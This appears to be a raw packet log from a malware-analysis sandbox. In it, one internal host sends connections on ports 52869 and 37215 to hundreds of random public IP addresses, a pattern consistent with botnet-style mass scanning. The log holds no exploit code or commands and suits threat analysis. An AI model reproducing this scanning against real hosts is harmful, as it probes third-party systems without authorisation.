Jul 20, 2024 23:00:58.586572886 CEST	50566	52869	192.168.2.13	49.79.222.119
Jul 20, 2024 23:00:58.586572886 CEST	50566	52869	192.168.2.13	63.139.62.111
Jul 20, 2024 23:00:58.586572886 CEST	50566	52869	192.168.2.13	4.4.167.103
Jul 20, 2024 23:00:58.586572886 CEST	50566	52869	192.168.2.13	171.117.89.236
Jul 20, 2024 23:00:58.586572886 CEST	50566	52869	192.168.2.13	195.228.120.248
Jul 20, 2024 23:00:58.586745024 CEST	52869	50566	45.32.253.157	192.168.2.13
Jul 20, 2024 23:00:58.586787939 CEST	52869	50566	72.92.189.251	192.168.2.13
Jul 20, 2024 23:00:58.586818933 CEST	52869	50566	13.113.29.42	192.168.2.13
Jul 20, 2024 23:00:58.586841106 CEST	50566	52869	192.168.2.13	171.2.185.45
Jul 20, 2024 23:00:58.586841106 CEST	50566	52869	192.168.2.13	152.181.36.213
Jul 20, 2024 23:00:58.586841106 CEST	50566	52869	192.168.2.13	175.129.168.116
Jul 20, 2024 23:00:58.586841106 CEST	50566	52869	192.168.2.13	143.140.134.30
Jul 20, 2024 23:00:58.586841106 CEST	50566	52869	192.168.2.13	96.49.197.209
Jul 20, 2024 23:00:58.586841106 CEST	50566	52869	192.168.2.13	176.213.163.49
Jul 20, 2024 23:00:58.586841106 CEST	50566	52869	192.168.2.13	133.168.106.65
Jul 20, 2024 23:00:58.586841106 CEST	50563	37215	192.168.2.13	41.174.95.66
Jul 20, 2024 23:00:58.586849928 CEST	52869	50566	125.189.124.201	192.168.2.13
Jul 20, 2024 23:00:58.586880922 CEST	52869	50566	125.196.26.43	192.168.2.13
Jul 20, 2024 23:00:58.586910009 CEST	52869	50566	121.207.202.170	192.168.2.13
Jul 20, 2024 23:00:58.586940050 CEST	52869	50566	14.236.196.197	192.168.2.13
Jul 20, 2024 23:00:58.586968899 CEST	52869	50566	13.27.88.27	192.168.2.13
Jul 20, 2024 23:00:58.586997986 CEST	52869	50566	122.113.89.19	192.168.2.13
Jul 20, 2024 23:00:58.587027073 CEST	52869	50566	121.111.152.9	192.168.2.13
Jul 20, 2024 23:00:58.587054968 CEST	52869	50566	207.13.220.109	192.168.2.13
Jul 20, 2024 23:00:58.587083101 CEST	52869	50566	45.252.15.42	192.168.2.13
Jul 20, 2024 23:00:58.587111950 CEST	52869	50566	162.103.181.149	192.168.2.13
Jul 20, 2024 23:00:58.587141037 CEST	52869	50566	101.55.180.113	192.168.2.13
Jul 20, 2024 23:00:58.587168932 CEST	52869	50566	117.19.166.205	192.168.2.13
Jul 20, 2024 23:00:58.587198019 CEST	52869	50566	108.169.133.121	192.168.2.13
Jul 20, 2024 23:00:58.587227106 CEST	52869	50566	129.0.180.86	192.168.2.13
Jul 20, 2024 23:00:58.587282896 CEST	52869	50566	8.200.63.173	192.168.2.13
Jul 20, 2024 23:00:58.587313890 CEST	52869	50566	184.244.225.101	192.168.2.13
Jul 20, 2024 23:00:58.587343931 CEST	52869	50566	38.81.248.236	192.168.2.13
Jul 20, 2024 23:00:58.587374926 CEST	52869	50566	90.85.240.95	192.168.2.13
Jul 20, 2024 23:00:58.587405920 CEST	52869	50566	179.36.56.224	192.168.2.13
Jul 20, 2024 23:00:58.587435007 CEST	52869	50566	174.179.206.254	192.168.2.13
Jul 20, 2024 23:00:58.587516069 CEST	52869	50566	109.250.62.6	192.168.2.13
Jul 20, 2024 23:00:58.587544918 CEST	52869	50566	141.214.124.225	192.168.2.13
Jul 20, 2024 23:00:58.587838888 CEST	52869	50566	110.141.244.228	192.168.2.13
Jul 20, 2024 23:00:58.587891102 CEST	52869	50566	62.181.226.145	192.168.2.13
Jul 20, 2024 23:00:58.587919950 CEST	52869	50566	186.94.202.38	192.168.2.13
Jul 20, 2024 23:00:58.587949038 CEST	52869	50566	131.78.113.225	192.168.2.13
Jul 20, 2024 23:00:58.588110924 CEST	50566	52869	192.168.2.13	170.207.49.134
Jul 20, 2024 23:00:58.588110924 CEST	50566	52869	192.168.2.13	4.213.144.169
Jul 20, 2024 23:00:58.588110924 CEST	50566	52869	192.168.2.13	136.154.37.4
Jul 20, 2024 23:00:58.588110924 CEST	50566	52869	192.168.2.13	165.66.177.218
Jul 20, 2024 23:00:58.588110924 CEST	50566	52869	192.168.2.13	204.239.207.136
Jul 20, 2024 23:00:58.588110924 CEST	50566	52869	192.168.2.13	31.184.52.211
Jul 20, 2024 23:00:58.588110924 CEST	50566	52869	192.168.2.13	4.174.148.139
Jul 20, 2024 23:00:58.588110924 CEST	50566	52869	192.168.2.13	168.214.55.135
Jul 20, 2024 23:00:58.588247061 CEST	50566	52869	192.168.2.13	198.98.155.180
Jul 20, 2024 23:00:58.588247061 CEST	50566	52869	192.168.2.13	111.176.215.63
Jul 20, 2024 23:00:58.588247061 CEST	50566	52869	192.168.2.13	72.244.27.54
Jul 20, 2024 23:00:58.588247061 CEST	50566	52869	192.168.2.13	60.124.222.16
Jul 20, 2024 23:00:58.588247061 CEST	50566	52869	192.168.2.13	204.92.164.155
Jul 20, 2024 23:00:58.588247061 CEST	50566	52869	192.168.2.13	109.0.171.194
Jul 20, 2024 23:00:58.588247061 CEST	50566	52869	192.168.2.13	54.102.50.66
Jul 20, 2024 23:00:58.588247061 CEST	50566	52869	192.168.2.13	168.140.167.202
Jul 20, 2024 23:00:58.588521957 CEST	52869	50566	37.237.111.60	192.168.2.13
Jul 20, 2024 23:00:58.588597059 CEST	52869	50566	198.66.228.91	192.168.2.13
Jul 20, 2024 23:00:58.588629961 CEST	52869	50566	210.137.118.139	192.168.2.13
Jul 20, 2024 23:00:58.588660955 CEST	52869	50566	207.74.201.142	192.168.2.13
Jul 20, 2024 23:00:58.588697910 CEST	52869	50566	48.33.137.207	192.168.2.13
Jul 20, 2024 23:00:58.588752985 CEST	52869	50566	49.234.48.151	192.168.2.13
Jul 20, 2024 23:00:58.588788033 CEST	52869	50566	213.215.18.242	192.168.2.13
Jul 20, 2024 23:00:58.588818073 CEST	52869	50566	143.82.123.204	192.168.2.13
Jul 20, 2024 23:00:58.589378119 CEST	50566	52869	192.168.2.13	27.244.48.53
Jul 20, 2024 23:00:58.589378119 CEST	50566	52869	192.168.2.13	200.135.47.253
Jul 20, 2024 23:00:58.589378119 CEST	50566	52869	192.168.2.13	20.215.179.224
Jul 20, 2024 23:00:58.589378119 CEST	50566	52869	192.168.2.13	165.11.32.216
Jul 20, 2024 23:00:58.589379072 CEST	38980	37215	192.168.2.13	197.214.55.135
Jul 20, 2024 23:00:58.589379072 CEST	50566	52869	192.168.2.13	82.246.219.130
Jul 20, 2024 23:00:58.589379072 CEST	50566	52869	192.168.2.13	122.167.75.170
Jul 20, 2024 23:00:58.589379072 CEST	50566	52869	192.168.2.13	58.55.6.110
Jul 20, 2024 23:00:58.589411020 CEST	52869	50566	174.197.212.167	192.168.2.13
Jul 20, 2024 23:00:58.589957952 CEST	52869	50566	101.247.55.101	192.168.2.13
Jul 20, 2024 23:00:58.589977026 CEST	52869	50566	109.167.143.187	192.168.2.13
Jul 20, 2024 23:00:58.589989901 CEST	52869	50566	73.115.254.3	192.168.2.13
Jul 20, 2024 23:00:58.590002060 CEST	52869	50566	205.213.127.39	192.168.2.13
Jul 20, 2024 23:00:58.590014935 CEST	52869	50566	137.200.199.59	192.168.2.13
Jul 20, 2024 23:00:58.590025902 CEST	52869	50566	50.168.165.47	192.168.2.13
Jul 20, 2024 23:00:58.590037107 CEST	52869	50566	183.62.58.210	192.168.2.13
Jul 20, 2024 23:00:58.590049982 CEST	52869	50566	218.171.42.41	192.168.2.13
Jul 20, 2024 23:00:58.590054035 CEST	50566	52869	192.168.2.13	59.108.73.52
Jul 20, 2024 23:00:58.590054035 CEST	50566	52869	192.168.2.13	183.92.206.35
Jul 20, 2024 23:00:58.590054035 CEST	50566	52869	192.168.2.13	46.221.153.66
Jul 20, 2024 23:00:58.590054035 CEST	50566	52869	192.168.2.13	133.147.18.2
Jul 20, 2024 23:00:58.590054035 CEST	50566	52869	192.168.2.13	71.109.115.250
Jul 20, 2024 23:00:58.590054035 CEST	50566	52869	192.168.2.13	98.72.239.72
Jul 20, 2024 23:00:58.590054989 CEST	50566	52869	192.168.2.13	130.253.137.232
Jul 20, 2024 23:00:58.590054989 CEST	50566	52869	192.168.2.13	4.211.141.239
Jul 20, 2024 23:00:58.590095043 CEST	52869	50566	65.97.64.116	192.168.2.13
Jul 20, 2024 23:00:58.590122938 CEST	52869	50566	4.46.213.183	192.168.2.13
Jul 20, 2024 23:00:58.590400934 CEST	52869	50566	120.47.1.7	192.168.2.13
Jul 20, 2024 23:00:58.590440035 CEST	52869	50566	220.221.201.89	192.168.2.13
Jul 20, 2024 23:00:58.590537071 CEST	52869	50566	206.207.28.179	192.168.2.13
Jul 20, 2024 23:00:58.590650082 CEST	52869	50566	113.169.142.241	192.168.2.13
Jul 20, 2024 23:00:58.590939999 CEST	50566	52869	192.168.2.13	130.147.77.29
Jul 20, 2024 23:00:58.590939999 CEST	50566	52869	192.168.2.13	166.150.19.163
Jul 20, 2024 23:00:58.590939999 CEST	50566	52869	192.168.2.13	47.216.94.0
Jul 20, 2024 23:00:58.590939999 CEST	50566	52869	192.168.2.13	136.164.189.225
Jul 20, 2024 23:00:58.590939999 CEST	50566	52869	192.168.2.13	162.26.5.38
Jul 20, 2024 23:00:58.590939999 CEST	50566	52869	192.168.2.13	114.0.228.232
Jul 20, 2024 23:00:58.590939999 CEST	50566	52869	192.168.2.13	144.53.119.5
Jul 20, 2024 23:00:58.590939999 CEST	50566	52869	192.168.2.13	159.127.6.20
Jul 20, 2024 23:00:58.591074944 CEST	50566	52869	192.168.2.13	121.35.219.146
Jul 20, 2024 23:00:58.591075897 CEST	50566	52869	192.168.2.13	69.82.73.167
Jul 20, 2024 23:00:58.591075897 CEST	50566	52869	192.168.2.13	143.19.210.21
Jul 20, 2024 23:00:58.591075897 CEST	50566	52869	192.168.2.13	153.97.31.189
Jul 20, 2024 23:00:58.591075897 CEST	50566	52869	192.168.2.13	84.26.238.160
Jul 20, 2024 23:00:58.591075897 CEST	50566	52869	192.168.2.13	98.189.122.151
Jul 20, 2024 23:00:58.591075897 CEST	50566	52869	192.168.2.13	170.54.95.252
Jul 20, 2024 23:00:58.591075897 CEST	50566	52869	192.168.2.13	220.26.7.227
Jul 20, 2024 23:00:58.591330051 CEST	52869	50566	73.254.249.119	192.168.2.13
Jul 20, 2024 23:00:58.591377974 CEST	52869	50566	155.77.23.156	192.168.2.13
Jul 20, 2024 23:00:58.591417074 CEST	52869	50566	73.87.185.54	192.168.2.13
Jul 20, 2024 23:00:58.592309952 CEST	50566	52869	192.168.2.13	40.11.215.79
Jul 20, 2024 23:00:58.592309952 CEST	50566	52869	192.168.2.13	90.220.208.134
Jul 20, 2024 23:00:58.592309952 CEST	50566	52869	192.168.2.13	120.120.202.208
Jul 20, 2024 23:00:58.592309952 CEST	50566	52869	192.168.2.13	147.164.232.161
Jul 20, 2024 23:00:58.592309952 CEST	50566	52869	192.168.2.13	220.123.4.18
Jul 20, 2024 23:00:58.592309952 CEST	50566	52869	192.168.2.13	71.240.247.135
Jul 20, 2024 23:00:58.592309952 CEST	50566	52869	192.168.2.13	48.113.240.162
Jul 20, 2024 23:00:58.592309952 CEST	50566	52869	192.168.2.13	139.23.112.9
Jul 20, 2024 23:00:58.592587948 CEST	52869	50566	135.93.173.184	192.168.2.13
Jul 20, 2024 23:00:58.592634916 CEST	52869	50566	152.197.23.46	192.168.2.13
Jul 20, 2024 23:00:58.592664003 CEST	52869	50566	216.211.211.212	192.168.2.13
Jul 20, 2024 23:00:58.592701912 CEST	52869	50566	83.177.165.22	192.168.2.13
Jul 20, 2024 23:00:58.593139887 CEST	52869	50566	67.229.96.242	192.168.2.13
Jul 20, 2024 23:00:58.593179941 CEST	52869	50566	89.35.59.2	192.168.2.13
Jul 20, 2024 23:00:58.593211889 CEST	52869	50566	171.2.185.45	192.168.2.13
Jul 20, 2024 23:00:58.593240976 CEST	52869	50566	163.101.73.50	192.168.2.13
Jul 20, 2024 23:00:58.593271017 CEST	52869	50566	200.113.164.137	192.168.2.13
Jul 20, 2024 23:00:58.593302011 CEST	52869	50566	132.92.234.191	192.168.2.13
Jul 20, 2024 23:00:58.593354940 CEST	52869	50566	113.200.86.131	192.168.2.13
Jul 20, 2024 23:00:58.593389034 CEST	52869	50566	20.244.127.176	192.168.2.13
Jul 20, 2024 23:00:58.593580008 CEST	52869	50566	170.207.49.134	192.168.2.13
Jul 20, 2024 23:00:58.593683958 CEST	50566	52869	192.168.2.13	138.6.152.149
Jul 20, 2024 23:00:58.593683958 CEST	50566	52869	192.168.2.13	39.167.238.36
Jul 20, 2024 23:00:58.593683958 CEST	50566	52869	192.168.2.13	42.202.144.28
Jul 20, 2024 23:00:58.593684912 CEST	50566	52869	192.168.2.13	181.149.236.21
Jul 20, 2024 23:00:58.593684912 CEST	50566	52869	192.168.2.13	112.2.146.187
Jul 20, 2024 23:00:58.593684912 CEST	50563	37215	192.168.2.13	110.216.253.90
Jul 20, 2024 23:00:58.593684912 CEST	50566	52869	192.168.2.13	166.138.104.159
Jul 20, 2024 23:00:58.593684912 CEST	50563	37215	192.168.2.13	41.255.201.78
Jul 20, 2024 23:00:58.593722105 CEST	52869	50566	73.232.22.228	192.168.2.13
Jul 20, 2024 23:00:58.593750954 CEST	52869	50566	198.98.155.180	192.168.2.13
Jul 20, 2024 23:00:58.593779087 CEST	52869	50566	106.206.7.111	192.168.2.13
Jul 20, 2024 23:00:58.593981981 CEST	52869	50566	111.176.215.63	192.168.2.13
Jul 20, 2024 23:00:58.594068050 CEST	52869	50566	72.244.27.54	192.168.2.13
Jul 20, 2024 23:00:58.594186068 CEST	52869	50566	59.161.148.57	192.168.2.13
Jul 20, 2024 23:00:58.594897032 CEST	50566	52869	192.168.2.13	183.89.166.139
Jul 20, 2024 23:00:58.594897032 CEST	50566	52869	192.168.2.13	158.124.195.199
Jul 20, 2024 23:00:58.594897032 CEST	50566	52869	192.168.2.13	186.203.154.108
Jul 20, 2024 23:00:58.594897032 CEST	50566	52869	192.168.2.13	139.0.230.132
Jul 20, 2024 23:00:58.594897032 CEST	50566	52869	192.168.2.13	65.224.243.64
Jul 20, 2024 23:00:58.594897032 CEST	50566	52869	192.168.2.13	91.73.86.81
Jul 20, 2024 23:00:58.594897032 CEST	50566	52869	192.168.2.13	70.194.220.73
Jul 20, 2024 23:00:58.594897032 CEST	50566	52869	192.168.2.13	64.186.75.249
Jul 20, 2024 23:00:58.594974995 CEST	52869	50566	27.244.48.53	192.168.2.13
Jul 20, 2024 23:00:58.595051050 CEST	52869	50566	60.124.222.16	192.168.2.13
Jul 20, 2024 23:00:58.595083952 CEST	52869	50566	4.213.144.169	192.168.2.13
Jul 20, 2024 23:00:58.595114946 CEST	52869	50566	152.181.36.213	192.168.2.13
Jul 20, 2024 23:00:58.595146894 CEST	52869	50566	165.162.16.34	192.168.2.13
Jul 20, 2024 23:00:58.595244884 CEST	50566	52869	192.168.2.13	42.140.164.109
Jul 20, 2024 23:00:58.595244884 CEST	50566	52869	192.168.2.13	120.196.66.36
Jul 20, 2024 23:00:58.595244884 CEST	35940	37215	192.168.2.13	157.3.21.190
Jul 20, 2024 23:00:58.595244884 CEST	50566	52869	192.168.2.13	112.104.240.153
Jul 20, 2024 23:00:58.595244884 CEST	50566	52869	192.168.2.13	52.188.85.89
Jul 20, 2024 23:00:58.595244884 CEST	50566	52869	192.168.2.13	31.175.187.129
Jul 20, 2024 23:00:58.595246077 CEST	50566	52869	192.168.2.13	202.159.56.129
Jul 20, 2024 23:00:58.595246077 CEST	50566	52869	192.168.2.13	204.46.251.166
Jul 20, 2024 23:00:58.595256090 CEST	52869	50566	200.135.47.253	192.168.2.13
Jul 20, 2024 23:00:58.595315933 CEST	52869	50566	20.215.179.224	192.168.2.13
Jul 20, 2024 23:00:58.595421076 CEST	52869	50566	59.108.73.52	192.168.2.13
Jul 20, 2024 23:00:58.595496893 CEST	52869	50566	183.92.206.35	192.168.2.13
Jul 20, 2024 23:00:58.595784903 CEST	50566	52869	192.168.2.13	217.234.0.85
Jul 20, 2024 23:00:58.595784903 CEST	50566	52869	192.168.2.13	46.46.188.13
Jul 20, 2024 23:00:58.595784903 CEST	50566	52869	192.168.2.13	58.246.15.43
Jul 20, 2024 23:00:58.595784903 CEST	50563	37215	192.168.2.13	93.236.140.144
Jul 20, 2024 23:00:58.595784903 CEST	50566	52869	192.168.2.13	70.176.12.166
Jul 20, 2024 23:00:58.595784903 CEST	50566	52869	192.168.2.13	189.96.120.64
Jul 20, 2024 23:00:58.595784903 CEST	50566	52869	192.168.2.13	177.141.69.236
Jul 20, 2024 23:00:58.595784903 CEST	50566	52869	192.168.2.13	177.80.161.196
Jul 20, 2024 23:00:58.595886946 CEST	50566	52869	192.168.2.13	221.82.215.87
Jul 20, 2024 23:00:58.595886946 CEST	50566	52869	192.168.2.13	14.2.30.96
Jul 20, 2024 23:00:58.595886946 CEST	50566	52869	192.168.2.13	121.104.50.97
Jul 20, 2024 23:00:58.595886946 CEST	50566	52869	192.168.2.13	177.130.98.196
Jul 20, 2024 23:00:58.595886946 CEST	50566	52869	192.168.2.13	99.160.201.206
Jul 20, 2024 23:00:58.595886946 CEST	50566	52869	192.168.2.13	82.166.201.81
Jul 20, 2024 23:00:58.595886946 CEST	50566	52869	192.168.2.13	153.105.129.20
Jul 20, 2024 23:00:58.595886946 CEST	50566	52869	192.168.2.13	202.189.16.223
Jul 20, 2024 23:00:58.596313953 CEST	52869	50566	165.11.32.216	192.168.2.13
Jul 20, 2024 23:00:58.596404076 CEST	50566	52869	192.168.2.13	89.116.1.211
Jul 20, 2024 23:00:58.596404076 CEST	50566	52869	192.168.2.13	162.120.56.216
Jul 20, 2024 23:00:58.596404076 CEST	50566	52869	192.168.2.13	64.111.121.228
Jul 20, 2024 23:00:58.596404076 CEST	50566	52869	192.168.2.13	160.89.205.146
Jul 20, 2024 23:00:58.596404076 CEST	50566	52869	192.168.2.13	193.107.65.164
Jul 20, 2024 23:00:58.596404076 CEST	50566	52869	192.168.2.13	80.226.91.150
Jul 20, 2024 23:00:58.596404076 CEST	50566	52869	192.168.2.13	209.200.229.61
Jul 20, 2024 23:00:58.596404076 CEST	50566	52869	192.168.2.13	8.104.228.104
Jul 20, 2024 23:00:58.596431971 CEST	52869	50566	46.221.153.66	192.168.2.13
Jul 20, 2024 23:00:58.596529961 CEST	52869	50566	136.154.37.4	192.168.2.13
Jul 20, 2024 23:00:58.596668959 CEST	50566	52869	192.168.2.13	219.0.14.247
Jul 20, 2024 23:00:58.596668959 CEST	50566	52869	192.168.2.13	223.227.5.114
Jul 20, 2024 23:00:58.596668959 CEST	50566	52869	192.168.2.13	141.36.128.134
Jul 20, 2024 23:00:58.596668959 CEST	50566	52869	192.168.2.13	51.65.47.196
Jul 20, 2024 23:00:58.596668959 CEST	50566	52869	192.168.2.13	212.236.125.79
Jul 20, 2024 23:00:58.596668959 CEST	50566	52869	192.168.2.13	162.202.222.182
Jul 20, 2024 23:00:58.596668959 CEST	50566	52869	192.168.2.13	109.242.201.39
Jul 20, 2024 23:00:58.596668959 CEST	50566	52869	192.168.2.13	20.106.107.244
Jul 20, 2024 23:00:58.596709013 CEST	52869	50566	204.92.164.155	192.168.2.13
Jul 20, 2024 23:00:58.596781969 CEST	52869	50566	133.147.18.2	192.168.2.13
Jul 20, 2024 23:00:58.596812010 CEST	52869	50566	165.66.177.218	192.168.2.13
Jul 20, 2024 23:00:58.597111940 CEST	52869	50566	109.0.171.194	192.168.2.13
Jul 20, 2024 23:00:58.597584009 CEST	52869	50566	54.102.50.66	192.168.2.13
Jul 20, 2024 23:00:58.597659111 CEST	52869	50566	204.239.207.136	192.168.2.13
Jul 20, 2024 23:00:58.597695112 CEST	52869	50566	31.184.52.211	192.168.2.13
Jul 20, 2024 23:00:58.598742962 CEST	52869	50566	168.140.167.202	192.168.2.13
Jul 20, 2024 23:00:58.598793983 CEST	52869	50566	71.109.115.250	192.168.2.13
Jul 20, 2024 23:00:58.598803043 CEST	50566	52869	192.168.2.13	62.204.49.132
Jul 20, 2024 23:00:58.598803043 CEST	50566	52869	192.168.2.13	13.164.169.253
Jul 20, 2024 23:00:58.598803043 CEST	50566	52869	192.168.2.13	35.117.84.161
Jul 20, 2024 23:00:58.598803043 CEST	50566	52869	192.168.2.13	81.71.223.221
Jul 20, 2024 23:00:58.598803997 CEST	50566	52869	192.168.2.13	170.171.127.228
Jul 20, 2024 23:00:58.598803997 CEST	50566	52869	192.168.2.13	197.160.210.166
Jul 20, 2024 23:00:58.598803997 CEST	50566	52869	192.168.2.13	213.249.133.80
Jul 20, 2024 23:00:58.598803997 CEST	50566	52869	192.168.2.13	13.145.132.17
Jul 20, 2024 23:00:58.599046946 CEST	52869	50566	98.72.239.72	192.168.2.13
Jul 20, 2024 23:00:58.599176884 CEST	52869	50566	175.129.168.116	192.168.2.13
Jul 20, 2024 23:00:58.599390984 CEST	52869	50566	130.253.137.232	192.168.2.13
Jul 20, 2024 23:00:58.599456072 CEST	52869	50566	143.140.134.30	192.168.2.13
Jul 20, 2024 23:00:58.599467039 CEST	50563	37215	192.168.2.13	157.43.201.2
Jul 20, 2024 23:00:58.599467039 CEST	50563	37215	192.168.2.13	157.161.231.10
Jul 20, 2024 23:00:58.599467039 CEST	50563	37215	192.168.2.13	105.53.66.201
Jul 20, 2024 23:00:58.599467039 CEST	50563	37215	192.168.2.13	194.210.218.139
Jul 20, 2024 23:00:58.599467039 CEST	50563	37215	192.168.2.13	157.219.150.12
Jul 20, 2024 23:00:58.599467039 CEST	50566	52869	192.168.2.13	152.161.224.79
Jul 20, 2024 23:00:58.599467039 CEST	50566	52869	192.168.2.13	75.16.206.108
Jul 20, 2024 23:00:58.599467993 CEST	50566	52869	192.168.2.13	89.84.130.3
Jul 20, 2024 23:00:58.599719048 CEST	50566	52869	192.168.2.13	126.183.166.233
Jul 20, 2024 23:00:58.599719048 CEST	50566	52869	192.168.2.13	8.85.166.254
Jul 20, 2024 23:00:58.599719048 CEST	50566	52869	192.168.2.13	106.43.123.108
Jul 20, 2024 23:00:58.599719048 CEST	50566	52869	192.168.2.13	43.240.11.124
Jul 20, 2024 23:00:58.599719048 CEST	50566	52869	192.168.2.13	178.39.107.192
Jul 20, 2024 23:00:58.599719048 CEST	50566	52869	192.168.2.13	87.8.107.75
Jul 20, 2024 23:00:58.599719048 CEST	50566	52869	192.168.2.13	216.44.193.248
Jul 20, 2024 23:00:58.599773884 CEST	52869	50566	138.6.152.149	192.168.2.13
Jul 20, 2024 23:00:58.600064993 CEST	52869	50566	39.167.238.36	192.168.2.13
Jul 20, 2024 23:00:58.600225925 CEST	52869	50566	96.49.197.209	192.168.2.13
Jul 20, 2024 23:00:58.600281000 CEST	52869	50566	4.211.141.239	192.168.2.13
Jul 20, 2024 23:00:58.600347996 CEST	52869	50566	176.213.163.49	192.168.2.13
Jul 20, 2024 23:00:58.600385904 CEST	52869	50566	42.140.164.109	192.168.2.13
Jul 20, 2024 23:00:58.600415945 CEST	52869	50566	133.168.106.65	192.168.2.13
Jul 20, 2024 23:00:58.600469112 CEST	52869	50566	4.174.148.139	192.168.2.13
Jul 20, 2024 23:00:58.600747108 CEST	52869	50566	120.196.66.36	192.168.2.13
Jul 20, 2024 23:00:58.600908995 CEST	50566	52869	192.168.2.13	172.51.83.216
Jul 20, 2024 23:00:58.600908995 CEST	50566	52869	192.168.2.13	187.248.171.89
Jul 20, 2024 23:00:58.600909948 CEST	50566	52869	192.168.2.13	74.253.225.130
Jul 20, 2024 23:00:58.600909948 CEST	50566	52869	192.168.2.13	23.86.160.85
Jul 20, 2024 23:00:58.600909948 CEST	50566	52869	192.168.2.13	211.247.29.248
Jul 20, 2024 23:00:58.600909948 CEST	50566	52869	192.168.2.13	130.11.160.84
Jul 20, 2024 23:00:58.600909948 CEST	50566	52869	192.168.2.13	77.182.150.37
Jul 20, 2024 23:00:58.600909948 CEST	50566	52869	192.168.2.13	9.231.7.210
Jul 20, 2024 23:00:58.601114035 CEST	52869	50566	217.234.0.85	192.168.2.13
Jul 20, 2024 23:00:58.601161957 CEST	52869	50566	46.46.188.13	192.168.2.13
Jul 20, 2024 23:00:58.601536036 CEST	52869	50566	58.246.15.43	192.168.2.13
Jul 20, 2024 23:00:58.601918936 CEST	50566	52869	192.168.2.13	158.159.28.203
Jul 20, 2024 23:00:58.601918936 CEST	50566	52869	192.168.2.13	57.86.64.87
Jul 20, 2024 23:00:58.601918936 CEST	50566	52869	192.168.2.13	83.224.119.168
Jul 20, 2024 23:00:58.601919889 CEST	50566	52869	192.168.2.13	126.209.245.77
Jul 20, 2024 23:00:58.601919889 CEST	50566	52869	192.168.2.13	126.66.84.101
Jul 20, 2024 23:00:58.601919889 CEST	50566	52869	192.168.2.13	19.96.215.60
Jul 20, 2024 23:00:58.601919889 CEST	50566	52869	192.168.2.13	72.60.254.31
Jul 20, 2024 23:00:58.601919889 CEST	50566	52869	192.168.2.13	170.23.175.88
Jul 20, 2024 23:00:58.602075100 CEST	50566	52869	192.168.2.13	188.74.101.140
Jul 20, 2024 23:00:58.602075100 CEST	50566	52869	192.168.2.13	78.8.181.144
Jul 20, 2024 23:00:58.602075100 CEST	50566	52869	192.168.2.13	124.49.210.94
Jul 20, 2024 23:00:58.602075100 CEST	50566	52869	192.168.2.13	1.212.57.243
Jul 20, 2024 23:00:58.602075100 CEST	50566	52869	192.168.2.13	77.190.202.82
Jul 20, 2024 23:00:58.602075100 CEST	50566	52869	192.168.2.13	50.236.24.191
Jul 20, 2024 23:00:58.602075100 CEST	50566	52869	192.168.2.13	115.52.50.250
Jul 20, 2024 23:00:58.602075100 CEST	50566	52869	192.168.2.13	165.40.111.49
Jul 20, 2024 23:00:58.602082014 CEST	52869	50566	42.202.144.28	192.168.2.13
Jul 20, 2024 23:00:58.602293015 CEST	52869	50566	181.149.236.21	192.168.2.13
Jul 20, 2024 23:00:58.602528095 CEST	50566	52869	192.168.2.13	97.114.117.29
Jul 20, 2024 23:00:58.602528095 CEST	50566	52869	192.168.2.13	187.123.127.227
Jul 20, 2024 23:00:58.602528095 CEST	50566	52869	192.168.2.13	173.204.137.85
Jul 20, 2024 23:00:58.602528095 CEST	50566	52869	192.168.2.13	138.96.171.141
Jul 20, 2024 23:00:58.602528095 CEST	50566	52869	192.168.2.13	13.146.164.210
Jul 20, 2024 23:00:58.602528095 CEST	50566	52869	192.168.2.13	148.242.181.53
Jul 20, 2024 23:00:58.602528095 CEST	50566	52869	192.168.2.13	72.246.92.233
Jul 20, 2024 23:00:58.602528095 CEST	50566	52869	192.168.2.13	158.90.117.175
Jul 20, 2024 23:00:58.602706909 CEST	50566	52869	192.168.2.13	98.206.22.13
Jul 20, 2024 23:00:58.602706909 CEST	50563	37215	192.168.2.13	157.203.152.221
Jul 20, 2024 23:00:58.602706909 CEST	50566	52869	192.168.2.13	72.223.231.71
Jul 20, 2024 23:00:58.602706909 CEST	50566	52869	192.168.2.13	144.20.248.235
Jul 20, 2024 23:00:58.602706909 CEST	50563	37215	192.168.2.13	41.210.236.146
Jul 20, 2024 23:00:58.602706909 CEST	50566	52869	192.168.2.13	39.22.225.232
Jul 20, 2024 23:00:58.602706909 CEST	50566	52869	192.168.2.13	168.52.245.30
Jul 20, 2024 23:00:58.602706909 CEST	50563	37215	192.168.2.13	157.3.208.106
Jul 20, 2024 23:00:58.603112936 CEST	52869	50566	112.2.146.187	192.168.2.13
Jul 20, 2024 23:00:58.603348970 CEST	50566	52869	192.168.2.13	2.24.106.226
Jul 20, 2024 23:00:58.603348970 CEST	50566	52869	192.168.2.13	130.52.89.119
Jul 20, 2024 23:00:58.603348970 CEST	50566	52869	192.168.2.13	177.163.100.239
Jul 20, 2024 23:00:58.603348970 CEST	50566	52869	192.168.2.13	84.170.72.203
Jul 20, 2024 23:00:58.603348970 CEST	50566	52869	192.168.2.13	64.141.187.236
Jul 20, 2024 23:00:58.603348970 CEST	50566	52869	192.168.2.13	202.145.43.197
Jul 20, 2024 23:00:58.603348970 CEST	50566	52869	192.168.2.13	136.191.142.210
Jul 20, 2024 23:00:58.603348970 CEST	50566	52869	192.168.2.13	174.238.75.213
Jul 20, 2024 23:00:58.603694916 CEST	52869	50566	70.176.12.166	192.168.2.13
Jul 20, 2024 23:00:58.603828907 CEST	50566	52869	192.168.2.13	137.137.144.212
Jul 20, 2024 23:00:58.603828907 CEST	50566	52869	192.168.2.13	62.126.184.91
Jul 20, 2024 23:00:58.603828907 CEST	50566	52869	192.168.2.13	24.166.198.46
Jul 20, 2024 23:00:58.603828907 CEST	50566	52869	192.168.2.13	78.145.139.16
Jul 20, 2024 23:00:58.603828907 CEST	50566	52869	192.168.2.13	99.172.148.31
Jul 20, 2024 23:00:58.603828907 CEST	50566	52869	192.168.2.13	76.239.185.4
Jul 20, 2024 23:00:58.603828907 CEST	50566	52869	192.168.2.13	117.76.117.93
Jul 20, 2024 23:00:58.603828907 CEST	50566	52869	192.168.2.13	198.95.42.42
Jul 20, 2024 23:00:58.603832006 CEST	52869	50566	189.96.120.64	192.168.2.13
Jul 20, 2024 23:00:58.603907108 CEST	52869	50566	177.141.69.236	192.168.2.13
Jul 20, 2024 23:00:58.604314089 CEST	50566	52869	192.168.2.13	191.252.251.212
Jul 20, 2024 23:00:58.604314089 CEST	50566	52869	192.168.2.13	78.238.220.249
Jul 20, 2024 23:00:58.604314089 CEST	50566	52869	192.168.2.13	222.97.13.69
Jul 20, 2024 23:00:58.604314089 CEST	50566	52869	192.168.2.13	47.21.202.187
Jul 20, 2024 23:00:58.604314089 CEST	50566	52869	192.168.2.13	205.130.81.109
